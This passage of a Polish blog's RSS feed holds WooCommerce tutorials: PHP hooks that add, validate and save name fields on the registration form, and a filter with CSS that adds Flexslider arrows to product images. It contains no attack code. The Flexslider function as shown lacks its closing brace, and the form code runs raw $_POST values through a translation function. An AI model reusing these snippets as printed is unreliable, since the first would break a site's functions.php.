				<div class="elementor-element elementor-element-2d09f48 elementor-widget elementor-widget-text-editor" data-id="2d09f48" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Kolejno jeśli chcemy dodać do domyślnego panelu zakładki /moje-konto/ także imię, nazwisko i hasło do panelu klienta, odnajdujemy w naszym folderze z szablonem plik functions.php i dodajemy poniższy kod:</p>								</div>
				</div>
				<div class="elementor-element elementor-element-32ddf50 elementor-widget elementor-widget-code-block-for-elementor" data-id="32ddf50" data-element_type="widget" data-e-type="widget" data-widget_type="code-block-for-elementor.default">
				<div class="elementor-widget-container">
					<pre class='line-numbers theme-okaidia' data-show-toolbar='yes'><code class='language-php'>// Dodanie p&oacute;l imię, nazwisko, hasło
  
add_action( &#039;woocommerce_register_form_start&#039;, &#039;bbloomer_add_name_woo_account_registration&#039; );
  
function bbloomer_add_name_woo_account_registration() {
    ?&gt;
  
    &lt;p class=&quot;form-row form-row-first&quot;&gt;
    &lt;label for=&quot;reg_billing_first_name&quot;&gt;&lt;?php _e( &#039;First name&#039;, &#039;woocommerce&#039; ); ?&gt; &lt;span class=&quot;required&quot;&gt;*&lt;/span&gt;&lt;/label&gt;
    &lt;input type=&quot;text&quot; class=&quot;input-text&quot; name=&quot;billing_first_name&quot; id=&quot;reg_billing_first_name&quot; value=&quot;&lt;?php if ( ! empty( $_POST[&#039;billing_first_name&#039;] ) ) esc_attr_e( $_POST[&#039;billing_first_name&#039;] ); ?&gt;&quot; /&gt;
    &lt;/p&gt;
  
    &lt;p class=&quot;form-row form-row-last&quot;&gt;
    &lt;label for=&quot;reg_billing_last_name&quot;&gt;&lt;?php _e( &#039;Last name&#039;, &#039;woocommerce&#039; ); ?&gt; &lt;span class=&quot;required&quot;&gt;*&lt;/span&gt;&lt;/label&gt;
    &lt;input type=&quot;text&quot; class=&quot;input-text&quot; name=&quot;billing_last_name&quot; id=&quot;reg_billing_last_name&quot; value=&quot;&lt;?php if ( ! empty( $_POST[&#039;billing_last_name&#039;] ) ) esc_attr_e( $_POST[&#039;billing_last_name&#039;] ); ?&gt;&quot; /&gt;
    &lt;/p&gt;
  
    &lt;div class=&quot;clear&quot;&gt;&lt;/div&gt;
  
    &lt;?php
}
  
// walidacja p&oacute;l
  
add_filter( &#039;woocommerce_registration_errors&#039;, &#039;bbloomer_validate_name_fields&#039;, 10, 3 );
  
function bbloomer_validate_name_fields( $errors, $username, $email ) {
    if ( isset( $_POST[&#039;billing_first_name&#039;] ) &amp;&amp; empty( $_POST[&#039;billing_first_name&#039;] ) ) {
        $errors-&gt;add( &#039;billing_first_name_error&#039;, __( &#039;&lt;strong&gt;Error&lt;/strong&gt;: First name is required!&#039;, &#039;woocommerce&#039; ) );
    }
    if ( isset( $_POST[&#039;billing_last_name&#039;] ) &amp;&amp; empty( $_POST[&#039;billing_last_name&#039;] ) ) {
        $errors-&gt;add( &#039;billing_last_name_error&#039;, __( &#039;&lt;strong&gt;Error&lt;/strong&gt;: Last name is required!.&#039;, &#039;woocommerce&#039; ) );
    }
    return $errors;
}
  
// zapis p&oacute;l
  
add_action( &#039;woocommerce_created_customer&#039;, &#039;bbloomer_save_name_fields&#039; );
  
function bbloomer_save_name_fields( $customer_id ) {
    if ( isset( $_POST[&#039;billing_first_name&#039;] ) ) {
        update_user_meta( $customer_id, &#039;billing_first_name&#039;, sanitize_text_field( $_POST[&#039;billing_first_name&#039;] ) );
        update_user_meta( $customer_id, &#039;first_name&#039;, sanitize_text_field($_POST[&#039;billing_first_name&#039;]) );
    }
    if ( isset( $_POST[&#039;billing_last_name&#039;] ) ) {
        update_user_meta( $customer_id, &#039;billing_last_name&#039;, sanitize_text_field( $_POST[&#039;billing_last_name&#039;] ) );
        update_user_meta( $customer_id, &#039;last_name&#039;, sanitize_text_field($_POST[&#039;billing_last_name&#039;]) );
    }
  
}</code></pre>				</div>
				</div>
				<div class="elementor-element elementor-element-3334eb8 elementor-widget elementor-widget-text-editor" data-id="3334eb8" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Jeśli chcecie mieć także skonfigurowany zapis do newslettera na poziomie tego formularza to warto doinstalować moduł &#8222;MC4WP: Mailchimp for WordPress&#8221; i zintegrować go z kontem mailchimp, konfigurator sam was przeprowadzi przez wszystkie kroki.</p><p> </p><p>Wisienką na torcie będzie dostosowanie stylów CSS, tak aby wygląd formularza był elegancki i przejrzysty.</p>								</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				</div><p></p>]]></content:encoded>
					
					<wfw:commentRss>https://sklep.kobietakoduje.pl/elegancki-panel-logowania-i-rejestracji-dla-klientow-sklepu/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Strzałki przy zdjęciach produktów w woocomerce</title>
		<link>https://sklep.kobietakoduje.pl/strzalki-przy-zdjeciach-produktow-w-woocomerce/</link>
					<comments>https://sklep.kobietakoduje.pl/strzalki-przy-zdjeciach-produktow-w-woocomerce/#respond</comments>
		
		<dc:creator><![CDATA[kobieta koduje]]></dc:creator>
		<pubDate>Tue, 28 Dec 2021 19:05:59 +0000</pubDate>
				<category><![CDATA[Sklep internetowy]]></category>
		<category><![CDATA[Woocommerce]]></category>
		<guid isPermaLink="false">https://kobietakoduje.pl/?p=2910</guid>

					<description><![CDATA[<p>Jeśli chcesz zrobić customowy wygląd strony produktowej w sklepie internetowym opartym o woocommerce i zależy Ci na dodaniu strzałek przy zdjęciach produktu, tak aby spełniały one funkcję slajdera zdjęć, wykonaj poniższe czynności: Aby  zaktualizować opcje Flexslider w WooCommerce V3, należy podłączyć się do filtra „woocommerce_single_product_carousel_options”. i ustawić strzałki nawigacyjne „directionNav”  na „prawda”. Umieść tę funkcję [&#8230;]</p>
<p></p>]]></description>
										<content:encoded><![CDATA[<div data-elementor-type="wp-post" data-elementor-id="2910" class="elementor elementor-2910" data-elementor-post-type="post">
						<section class="elementor-section elementor-top-section elementor-element elementor-element-ecc9355 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="ecc9355" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-fba60a7" data-id="fba60a7" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-389fa05 elementor-widget elementor-widget-text-editor" data-id="389fa05" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Jeśli chcesz zrobić customowy wygląd strony produktowej w sklepie internetowym opartym o woocommerce i zależy Ci na dodaniu strzałek przy zdjęciach produktu, tak aby spełniały one funkcję slajdera zdjęć, wykonaj poniższe czynności:</p>								</div>
				</div>
				<div class="elementor-element elementor-element-34f6435 elementor-widget elementor-widget-text-editor" data-id="34f6435" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									Aby  zaktualizować opcje Flexslider w WooCommerce V3, należy podłączyć się do filtra „woocommerce_single_product_carousel_options”. i ustawić strzałki nawigacyjne „directionNav”  na „prawda”.

Umieść tę funkcję w pliku functions.php:
								</div>
				</div>
				<div class="elementor-element elementor-element-f50356c elementor-widget elementor-widget-html" data-id="f50356c" data-element_type="widget" data-e-type="widget" data-widget_type="html.default">
				<div class="elementor-widget-container">
					<pre>
    // Aktualizacja opcji Flexslider 

add_filter( 'woocommerce_single_product_carousel_options', 'ud_update_woo_flexslider_options' );

function ud_update_woo_flexslider_options( $options ) {

    $options['directionNav'] = true;

    return $options;
</pre>				</div>
				</div>
				<div class="elementor-element elementor-element-132ac27 elementor-widget elementor-widget-text-editor" data-id="132ac27" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Aby wszystko wyświetliło się poprawnie należy dodać jeszcze odpowiednie style w pliku style.css:</p>								</div>
				</div>
				<div class="elementor-element elementor-element-9cca764 elementor-widget elementor-widget-html" data-id="9cca764" data-element_type="widget" data-e-type="widget" data-widget_type="html.default">
				<div class="elementor-widget-container">
					<pre>ul.flex-direction-nav {
    position: absolute;
    top: 50%;
    z-index: 99999;
    width: 100%;
    left: 0;
    margin: 0;
    padding: 0px;
    list-style: none;}

li.flex-nav-prev {float: left;}
li.flex-nav-next {float: right;}
a.flex-next {visibility:hidden;}
a.flex-prev {visibility:hidden;}
a.flex-next::after {
	visibility:visible;content: '\f054';
	font-family: 'Font Awesome 5 Free';
	margin-right: 25px;
	font-size: 10px;   
	font-weight: bold;
	color: #000;
}
a.flex-prev::before {
    visibility:visible;
    content: '\f053';
	font-family: 'Font Awesome 5 Free';   
	margin-left: 25px;
	font-size: 10px;
	font-weight: bold;
		color: #000;
}
.woocommerce div.product div.images .woocommerce-product-gallery__trigger{
	background: transparent;
}</pre>				</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				</div><p></p>]]></content:encoded>
					
					<wfw:commentRss>https://sklep.kobietakoduje.pl/strzalki-przy-zdjeciach-produktow-w-woocomerce/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>

<!--
Performance optimized by W3 Total Cache. Learn more: https://www.boldgrid.com/w3-total-cache/?utm_source=w3tc&utm_medium=footer_comment&utm_campaign=free_plugin

Page Caching using Disk: Enhanced 
Lazy Loading (feed)
Database Caching 16/155 queries in 0.123 seconds using Disk

Served from: sklep.kobietakoduje.pl @ 2026-10-04 15:36:31 by W3 Total Cache
-->